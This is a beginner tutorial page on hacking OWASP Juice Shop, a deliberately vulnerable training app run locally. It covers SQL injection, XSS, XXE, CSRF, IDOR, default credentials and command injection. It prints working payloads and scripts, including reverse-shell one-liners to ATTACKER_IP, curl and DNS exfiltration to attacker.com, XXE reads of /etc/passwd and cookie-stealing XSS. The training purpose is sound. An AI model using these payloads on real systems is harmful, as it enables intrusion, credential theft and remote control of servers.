Master web application security by hacking an intentionally vulnerable e-commerce site. Learn SQL injection, XSS, authentication bypasses, and more with step-by-step beginner guidance.
OWASP Juice Shop is a deliberately insecure web application built for learning about web security. It's like a playground where you can practice hacking legally and safely - it's an online juice shop with hundreds of security vulnerabilities waiting to be exploited!
OWASP (Open Web Application Security Project) is a non-profit organization focused on improving software security. They publish the OWASP Top 10 - a list of the most critical web application security risks. Juice Shop covers ALL of them!
You can run Juice Shop on your own computer using Docker (easiest method) or Node.js. I'll show you the Docker way - it takes just 2 commands!
sudo apt install docker.io (Ubuntu/Debian)Docker is like a lightweight virtual machine. It packages applications with everything they need to run. Instead of installing Node.js, databases, and dependencies manually, Docker does it all in one isolated "container". Super convenient!
# Pull and run Juice Shop (one command!)
docker run -p 3000:3000 bkimminich/juice-shop
# Wait for it to start (takes ~30 seconds)
Server listening on port 3000
Open your browser and go to: http://localhost:3000
You should see a colorful juice shop website. This is YOUR personal hacking playground - try to break EVERYTHING! Nothing you do here affects the real world.
# Stop Juice Shop
docker ps # Find the container ID
docker stop <container-id> # Stop it
# Restart fresh (resets all progress)
docker rm <container-id>
docker run -p 3000:3000 bkimminich/juice-shop
To hack Juice Shop effectively, you'll need these tools. Don't worry - I'll explain what each one does!
Built into Chrome/Firefox (press F12). Inspect HTML, see network requests, run JavaScript, modify cookies. Your #1 tool!
Intercepts HTTP requests between your browser and Juice Shop. Lets you modify requests before they're sent. Download Community Edition (free)
For saving payloads and notes. VS Code, Sublime, or even Notepad works!
For writing automated scripts to exploit APIs. Install requests library:
pip install requests
Press F12 or Right-click โ Inspect to open DevTools. Here's what each tab does:
Imagine a library where you ask for a book by filling out a form. The librarian takes your request
and runs: SELECT * FROM books WHERE title = 'YOUR_INPUT'
But what if instead of a book title, you write: nothing' OR '1'='1?
The query becomes: SELECT * FROM books WHERE title = 'nothing' OR '1'='1'
Since '1'='1' is ALWAYS TRUE, this returns ALL books! That's SQL injection -
injecting SQL code into user input to change query logic.
Juice Shop's login page doesn't properly escape user input. When you type an email and password, the server runs something like:
SELECT * FROM users WHERE email = 'YOUR_EMAIL' AND password = 'YOUR_PASSWORD'
If we inject SQL code into the email field, we can bypass the password check entirely!
' OR 1=1--anything (doesn't matter)
The query becomes:
SELECT * FROM users WHERE email = '' OR 1=1--' AND password = 'anything'
Let's break this down:
'' - Empty email (false)OR - "Or" operator1=1 - Always true!-- - SQL comment symbol (ignores everything after, including the password check)SQL injection has been used to steal millions of credit cards, expose entire user databases, and deface websites. It's been #1 on the OWASP Top 10 multiple times. NEVER trust user input!
# Login as admin specifically
admin'--
admin@juice-sh.op'--
# Bypass without knowing any username
' OR '1'='1'--
' OR 'a'='a'--
# Union-based injection (extract data)
' UNION SELECT NULL,NULL,NULL--
Cross-Site Scripting (XSS) is when you inject JavaScript code into a website, and that code runs in other users' browsers. Imagine leaving a sticky note on a public bulletin board, but the note is actually a command that makes people's phones ring when they look at it!
Example: If a website displays user comments without sanitizing them, you could post a comment
like <script>alert('HACKED!')</script> and everyone who views that page
would see your alert!
Juice Shop has several XSS vulnerabilities. Let's exploit the search function!
<script>alert('XSS')</script># Basic alert
<script>alert('XSS')</script>
# Image tag XSS (when <script> is blocked)
<img src=x onerror="alert('XSS')">
# Steal cookies (malicious!)
<script>alert(document.cookie)</script>
# Redirect users
<script>window.location='http://evil.com'</script>
# DOM-based XSS (via URL)
http://localhost:3000/#/search?q=<script>alert('XSS')</script>
Your payload is immediately reflected back in the response. Example: Search results showing your search term without sanitization.
Your payload is saved in the database and affects everyone who views it. Example: Malicious comment that executes when others read comments.
The vulnerability is in client-side JavaScript code that processes user input. Example: JavaScript reading URL parameters and inserting them into the page.
XSS can steal session cookies (hijacking accounts), redirect users to phishing sites, deface websites, or install malware. Major sites like Facebook, Twitter, and eBay have all had XSS vulnerabilities. It's EXTREMELY common!
Authentication is how websites verify you are who you claim to be (usually username + password). Broken authentication means there are flaws in this system that let attackers bypass it - like having a lock on your door but the key is taped to the door frame!
Juice Shop has a password reset function that asks security questions. But if you can guess or find out someone's security answer, you can reset their password!
admin@juice-sh.op
Look around Juice Shop! Check the "About Us" page. You'll find information about the company founder's family. This is called OSINT - gathering information from publicly available sources.
API (Application Programming Interface) is how the frontend (what you see) talks to the backend
(server/database). When you click "Add to Cart", your browser sends an API request like
POST /api/cart {productId: 5} to the server.
APIs often have hidden endpoints that aren't linked in the UI but are still accessible if you know the URL!
/api/Products
/api/BasketItems
/api/Users
/api/SecurityQuestions
http://localhost:3000/api/Users#!/usr/bin/python3
# Extract all users from API
import requests
# Target API endpoint
url = "http://localhost:3000/api/Users"
# Send GET request
response = requests.get(url)
# Parse JSON response
users = response.json()
# Display all emails
print("Found users:")
for user in users['data']:
print(f"- {user['email']}")
APIs that don't check if you're logged in. Anyone can access sensitive data!
You can access other users' data by changing IDs: /api/user/1 โ /api/user/2
Modify fields you shouldn't by adding them to requests: {"isAdmin": true}
APIs with no rate limits can be brute-forced or DDoS'd with automated requests
Access control = who can access what. Think of it like building security:
Broken access control means you can access things you shouldn't - like a Floor 3 badge working on Floor 10!
http://localhost:3000/admin
http://localhost:3000/administration
http://localhost:3000/#/admin
http://localhost:3000/#/administration
admin or path:
http://localhost:3000/#/administrationOnce you find the admin panel, try these attacks:
GET /api/Users
# Returns ALL user accounts
DELETE /api/Users/2
# Deletes user with ID 2
GET /api/Baskets/3
# See another user's cart
GET /api/Users/1
# Get user details/emails
IDOR = changing IDs in URLs/requests to access other users' data. Example:
# Your profile
GET /api/Users/5
# Just change the number!
GET /api/Users/1 # Admin's profile
GET /api/Users/2 # Another user's profile
bid (basket ID) or user token
http://localhost:3000/api/Baskets/5 (your ID)
http://localhost:3000/api/Baskets/1http://localhost:3000/api/Baskets/2Imagine leaving your diary on the kitchen table instead of locking it in your room. Sensitive data exposure = storing confidential files where anyone can find them!
Examples: Database backups in /public/, API keys in JavaScript,
config files accessible via web browser.
http://localhost:3000/ftp
http://localhost:3000/backup
http://localhost:3000/uploads
http://localhost:3000/assets
http://localhost:3000/public
.pdf, .txt, .bak, .zip, .sql
Navigate to: http://localhost:3000/ftp
You'll find confidential files like:
Business acquisition plans
Legal documents and ToS
Backup with dependencies/versions
Old coupon codes (might still work!)
Use tools like dirb or gobuster to find hidden directories automatically:
# dirb (simple directory brute-forcer)
dirb http://localhost:3000 /usr/share/wordlists/dirb/common.txt
# gobuster (faster, more options)
gobuster dir -u http://localhost:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# nikto (comprehensive web scanner)
nikto -h http://localhost:3000
<script src="main.js"> tags
password, api_key, secret, token, admin
/.git/.env files contain passwords, API keys, database credentialsXML = a way to structure data (like JSON). XXE exploits XML parsers to:
/etc/passwd)Think: "What if I could tell the server to read its own files and send them to me?"
.pdf, .zip, .xml
Create a file called xxe.xml with this content:
<?xml version="1.0" encoding="UTF-8"?>
<!-- Define an external entity that reads /etc/passwd -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- Reference the entity in the XML -->
<complaint>
<message>&xxe;</message>
</complaint>
<!ENTITY xxe SYSTEM "file:///etc/passwd">xxe that contains the contents of /etc/passwd
&xxe; - This gets replaced with the file contents!
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY xxe SYSTEM "file:///etc/hosts">
<!ENTITY xxe SYSTEM "file:///var/log/apache2/access.log">
<!ENTITY xxe SYSTEM "http://internal-server/admin">
<!ENTITY xxe SYSTEM "http://localhost:8080/admin">
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;">
<!-- Billion Laughs Attack -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
xxe.xml fileYou're logged into your bank. An attacker sends you an email with an image:
<img src="https://bank.com/transfer?to=attacker&amount=1000">
When your browser loads the image, it sends a request to your bank - and since you're logged in, the bank thinks YOU authorized the transfer!
CSRF = tricking your browser into making requests you didn't intend.
Create an HTML file called csrf.html:
<html>
<body>
<h1>You Won a Prize!</h1>
<p>Click below to claim:</p>
<!-- Hidden form that changes victim's email -->
<form id="csrf" action="http://localhost:3000/api/Users/1" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<!-- Auto-submit form when page loads -->
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
http://localhost:3000 and log in
<img src="http://bank.com/transfer?to=attacker&amount=1000">
<form action="/update-email" method="POST">
<input name="email" value="evil@attacker.com">
</form>
<form action="/change-password" method="POST">
<input name="new_password" value="hacked123">
</form>
<img src="http://shop.com/cart/add?item=expensive_item">
<meta name="referrer" content="no-referrer">Security misconfiguration = leaving default settings, showing too much error info, or not hardening your server. Examples:
admin/admin)Trigger errors to see stack traces:
http://localhost:3000/api/Products/999999
# Returns full SQL query!
APIs without authentication:
/api/Users
/api/Challenges
/rest/admin/application-version
Left enabled in production:
/api/debug
/api/server-info
/metrics
Version disclosure:
/package.json
/composer.json
/bower.json
http://localhost:3000/api/Products/INVALID
/app/server/routes/)Try common default logins:
admin / admin
administrator / password
admin / password123
root / root
postgres / postgres
mysql / mysql
root / (empty)
sa / (empty)
test / test
guest / guest
demo / demo
user / user
tomcat / tomcat
oracle / oracle
weblogic / weblogic1
# Check HTTP headers
curl -I http://localhost:3000
Server: nginx/1.18.0
X-Powered-By: Express
# Check JavaScript files
curl http://localhost:3000/main.js | grep -i "version"
# Check robots.txt (often reveals structure)
curl http://localhost:3000/robots.txt
Imagine a website that lets you "ping" servers. Internally, it runs:
os.system("ping " + user_input)
What if you enter: google.com; whoami?
The server runs: ping google.com; whoami
The semicolon (;) means "run next command" - so it runs whoami after ping!
; # Semicolon - run next command
& # Ampersand - run in background
| # Pipe - send output to next command
&& # AND - run if first succeeds
|| # OR - run if first fails
` # Backticks - command substitution
$() # Command substitution (modern)
& # Run next command
| # Pipe output
&& # AND operator
|| # OR operator
^ # Escape character
; whoami
; pwd
; ls
; cat /etc/passwd
; whoami
; id
; uname -a
; cat /etc/passwd
; env
; ls -la /
; find / -name "*.txt"
; cat /app/config.js
; cat /var/log/apache2/access.log
; ifconfig
; netstat -an
; arp -a
; route
; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
; nc -e /bin/bash ATTACKER_IP 4444
Sometimes you don't see output directly. Use these techniques:
; sleep 10
; ping -c 10 127.0.0.1
If the response is delayed, command executed!
; nslookup $(whoami).attacker.com
; curl http://attacker.com/$(whoami)
Data sent via DNS or HTTP requests
; whoami > /var/www/html/output.txt
# Then visit: http://site.com/output.txt
nc -lvnp 4444
; bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
Visit http://localhost:3000/#/score-board to see ALL challenges!
This is normally hidden but you can find it via API exploration.
OWASP has a free book explaining every challenge in detail: pwning.owasp-juice.shop
Broke something? Just stop and restart the Docker container. You'll get a fresh instance!
Document every vulnerability you find, how you exploited it, and how to fix it. This builds your portfolio!
Here's EVERY challenge organized by difficulty and category. Click the official guide link for detailed solutions!
http://localhost:3000/#/score-boardPerfect for beginners. Learn the basics of web vulnerabilities.
/#/score-board)/#/administration)' OR 1=1--Requires understanding of web app architecture and basic exploitation techniques.
../../../etc/passwd)Requires deep technical knowledge and creative exploitation techniques.
Extremely difficult. Requires advanced knowledge and out-of-the-box thinking.
Nearly impossible without deep system knowledge. For true security experts.
๐ These challenges require research beyond Juice Shop itself!
Legendary difficulty. Reserved for the absolute best hackers in the world.
๐ฅ If you complete these, you're in the top 0.1% of hackers globally ๐ฅ
JWT, OAuth, password reset, 2FA bypass, session hijacking
IDOR, privilege escalation, admin bypass, basket manipulation
SQL, NoSQL, Command, LDAP, Template, XXE, CRLF, Code injection
Weak hashing, ECB mode, padding oracle, hash length extension
Reflected, Stored, DOM, mXSS, prototype pollution, SVG-based
Directory traversal, log injection, XXE, deserialization, CORS
Internal network access, cloud metadata, CSRF token bypass
Payment bypass, coupon stacking, race conditions, logic flaws
Exposed metrics, API docs, sensitive files, error messages
Easter eggs, hidden features, creative exploits, bonus challenges
Total: 110+ Challenges (Score board shows exact current count)
Once you understand the vulnerabilities manually, automate them:
#!/usr/bin/python3
# Automated Juice Shop SQL Injection
import requests
base_url = "http://localhost:3000"
# SQL Injection payloads
payloads = [
"' OR 1=1--",
"' OR 'a'='a'--",
"admin'--",
"' UNION SELECT NULL--"
]
# Test each payload
for payload in payloads:
data = {
"email": payload,
"password": "anything"
}
response = requests.post(f"{base_url}/rest/user/login", json=data)
if response.status_code == 200:
print(f"[+] SUCCESS: {payload}")
print(f" Token: {response.json().get('authentication', {}).get('token')}")
else:
print(f"[-] FAILED: {payload}")
# Automated IDOR testing
print("\n[*] Testing IDOR on user endpoints...")
for user_id in range(1, 20):
response = requests.get(f"{base_url}/api/Users/{user_id}")
if response.status_code == 200:
user = response.json()
print(f"[+] User {user_id}: {user.get('email')}")
Professional tool for web app testing:
127.0.0.1:8080Score board shows hints for each challenge. Read them if you're stuck for 30+ minutes.
The official guide has detailed solutions: pwning.owasp-juice.shop
Can't break it permanently! Try every payload you can think of.
OWASP Slack channel: #project-juiceshop
Ask questions and share solutions!
Write vulnerability reports as practice for real pentests. Include impact, PoC, remediation.
Many challenges have multiple solutions. Find alternate exploitation methods!
Track how long each challenge takes. Improve speed for real-world scenarios.
Complete 3-5 challenges per day. Consistent practice builds expertise!
Build a personal exploitation toolkit:
Congratulations! You've mastered web application security fundamentals. Next steps:
If you master Juice Shop, consider these certifications:
Ready to explore more resources?
Back to Resources Hub โ